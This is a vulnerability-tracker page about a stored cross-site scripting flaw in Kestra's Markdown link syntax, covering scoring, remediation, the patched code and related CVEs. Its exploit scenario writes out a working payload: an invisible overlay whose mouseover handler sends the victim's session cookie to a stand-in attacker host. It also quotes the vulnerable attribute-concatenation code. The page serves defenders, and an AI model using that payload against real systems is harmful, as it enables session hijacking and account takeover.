Skip to main content

Kestra CVE-2026-55839

| EUVDEUVD-2026-60976 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-18 GitHub_M GHSA-34pm-923j-7wf8
8.7
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Attacker authenticates with Flow-edit credentials
  2. Delivery
    Crafts malicious Flow YAML with event-handler [[link]] payload
  3. Exploit
    Flow description stored in Kestra backend
  4. Install
    Victim navigates to Flow list in browser
  5. C2
    Victim interacts with description/info panel
  6. Execute
    Injected JavaScript executes in victim's browser context
  7. Impact
    Attacker exfiltrates session token or performs privileged actions

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be an authenticated Kestra user with at least Low-privilege access - specifically, permission to create or edit Flows in any namespace (CVSS PR:L reflects this requirement). The victim must navigate to the Kestra Flow list page in their browser and actively interact with the description or info panel of the malicious Flow - for example, clicking the info icon - satisfying the UI:R requirement. No special server-side configuration, non-default feature flag, or unusual deployment mode is required; the [[link]] Markdown syntax is part of Kestra's default UI rendering. Exploitation is bounded by the need for an authenticated account with Flow edit rights: unauthenticated external attackers cannot exploit this flaw. The active user interaction requirement (clicking/hovering) prevents fully automated, zero-touch exploitation but does not require meaningful social engineering beyond directing a target user to review a Flow.

Impact

The CVSS 8.7 High rating with S:C accurately reflects cross-boundary impact: attacker privilege is bounded to Flow edit rights (PR:L), but execution occurs in a different user's browser context, potentially targeting administrators or namespace owners. The AC:L and AV:N metrics indicate no special conditions or network positioning are required beyond authenticated access to the Kestra UI. The publicly available proof-of-concept (confirmed in the GHSA advisory) significantly lowers the exploitation bar - the attack requires only a valid Kestra account with standard Flow permissions and a victim who views the Flow list. No EPSS score was provided in the input, so probability cannot be quantified numerically; however, POC availability combined with AC:L and a meaningful C:H/I:H impact warrants treatment as actively exploitable in any multi-user Kestra deployment. Absence of a CISA KEV listing does not imply safety given the fully functional POC. The UI:R requirement is a partial mitigating factor, limiting fully automated mass exploitation.

Exploit ScenarioDerived

An attacker with standard Flow editor access crafts a YAML Flow whose description embeds [[link style='position:fixed;inset:0;z-index:9999' onmouseover='fetch("https://attacker.example/steal?c="+document.cookie)']], creating an invisible full-page overlay. When an administrator navigates to the Flow list and moves their cursor over the panel, the JavaScript fires, exfiltrating the admin's session cookie to the attacker's server. A fully functional proof-of-concept demonstrating browser JavaScript execution via this exact mechanism is publicly available in GHSA-34pm-923j-7wf8.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 18, 2026

Stored cross-site scripting in Kestra's custom Markdown renderer (versions before 1.3.24) allows any authenticated user with Flow create or edit permissions to inject arbitrary JavaScript event-handler attributes via the platform's own [[link]] syntax, executing attacker-controlled code in the browser of any user who views the affected Flow description. The CVSS scope change (S:C) reflects that the payload crosses from the attacker's permission context into the victim's browser session, enabling session hijacking or privilege escalation against higher-privileged reviewers. A working proof-of-concept is publicly confirmed in GHSA-34pm-923j-7wf8; no active exploitation via CISA KEV is listed at time of analysis.

RemediationAI

Upgrade to Kestra v1.3.24, available at https://github.com/kestra-io/kestra/releases/tag/v1.3.24. The patch (commit 6c8e6d099ed172cbb6b003b7fb30b7bb1f8f710e, PR #16835) replaces unchecked attribute rendering in the [[link]] Markdown plugin with a strict allowlist that permits only the 'execution', 'flowId', and 'namespace' attributes, neutralizing the injection surface. If immediate upgrade is not possible, restrict Flow create and edit permissions exclusively to highly trusted users - this eliminates the attacker's ability to store the payload, at the cost of reduced collaboration. Additionally, audit all existing Flow descriptions for suspicious [[link]] entries containing on*= event-handler patterns or unusual style= attributes before or after patching to detect any pre-existing payloads. No network-level control will mitigate this vulnerability once a payload is stored, as exploitation requires only normal browser navigation by a legitimate user.

Affected VersionsENISA

kestra < 1.3.24

Affected Packages

maven io.kestra:kestra fix: 1.3.24
euvd kestra fix: 1.3.24

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability originates in Kestra's custom MarkdownIt plugin at ui/src/utils/markdown_plugins/link.ts, which implements a proprietary [[link ...]] syntax converting parsed tokens into <router-md> HTML elements. The vulnerable code path concatenates raw attribute name-value pairs directly into an HTML string - token.attrs.map(([name, value]) => name+'="'+value+'"').join('') - without any allowlisting or sanitization of attribute names. This enables injection of arbitrary HTML attributes including JavaScript event handlers (e.g., onmouseover, onclick). CWE-79 (Improper Neutralization of Input During Web Page Generation) is the root cause: user-controlled data from the YAML Flow description travels through the Markdown pipeline and is rendered into the DOM without encoding. The fix in PR #16835 (commit 6c8e6d0) applies a strict allowlist: attrs.filter(([name]) => ['execution','flowId','namespace'].includes(name)), eliminating the injection surface entirely. Affected components include link.ts, markdown.ts, and Markdown.vue.

Know when Kestra gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI 8.7 HIGH

Authenticated Flow-editor (PR:L) stores payload delivered to any reviewer (UI:R); XSS crosses browser security boundary (S:C) enabling full session compromise (C:H/I:H); no availability impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch available
Aug 18, 2026 - 16:17 EUVD
CVE Published
Aug 18, 2026 - 15:27 cve.org
HIGH 8.7

DescriptionCVE.org

Kestra is an open-source, event-driven orchestration platform. Prior to 1.3.24, Kestra's custom Markdown parser in ui/src/utils/markdown_plugins/link.ts allows a user with permission to create or update a Flow description to inject JavaScript event-handler attributes through the custom [[link]] syntax, causing stored cross-site scripting when another user opens the description or information panel in the Flow list. This issue is fixed in version 1.3.24.

Executive ViewAI

Why It Matters

Kestra versions before 1.3.24 contain a stored cross-site scripting vulnerability in the Markdown renderer that allows any authenticated user with Flow editing permissions to inject malicious JavaScript into Flow descriptions. Publicly available exploit code exists for this vulnerability. When other users view affected descriptions, the injected code executes in their browser, creating risk of session hijacking and privilege escalation-particularly dangerous for administrative users reviewing Flows.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
Low
niche open-source workflow orchestration platform, limited enterprise footprint
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

64
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Kestra

View all
CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-53576 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution in Kestra orchestration platform before 1.0.45 and 1.3.21 lets anonymous attackers

CVE-2026-29082 HIGH POC
7.3 Mar 06

Kestra versions 1.1.10 and earlier allow authenticated users to perform cross-site scripting (XSS) attacks through the e

CVE-2026-34612 CRITICAL
9.0 Apr 03

SQL injection in Kestra orchestration platform's flow search endpoint (GET /api/v1/main/flows/search) enables remote cod

CVE-2026-55069 HIGH
8.7 Jun 26

Offline administrator password recovery in Kestra OSS (versions prior to 1.3.24) stems from its BasicAuth component stor

CVE-2026-45807 HIGH
7.7 Jun 26

Arbitrary file read in Kestra orchestration platform (versions prior to 1.0.43 and 1.3.19) lets an authenticated user wi

CVE-2026-49984 HIGH
7.7 Jun 26

Authenticated path traversal in Kestra's local internal-storage backend (versions prior to 1.0.45 and 1.3.23) lets any l

CVE-2026-33664 HIGH
7.3 Mar 26

Cross-site scripting in Kestra orchestration platform versions up to 1.3.3 enables authenticated flow authors to inject

CVE-2026-48129 MEDIUM
6.5 Jun 19

Path traversal in Kestra's `inputFiles` task mechanism allows remote attackers to write arbitrary files to the worker fi

CVE-2026-53577 MEDIUM
6.5 Jun 26

Unauthorized file read in Kestra's execution preview API allows any authenticated tenant user to access output files fro

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy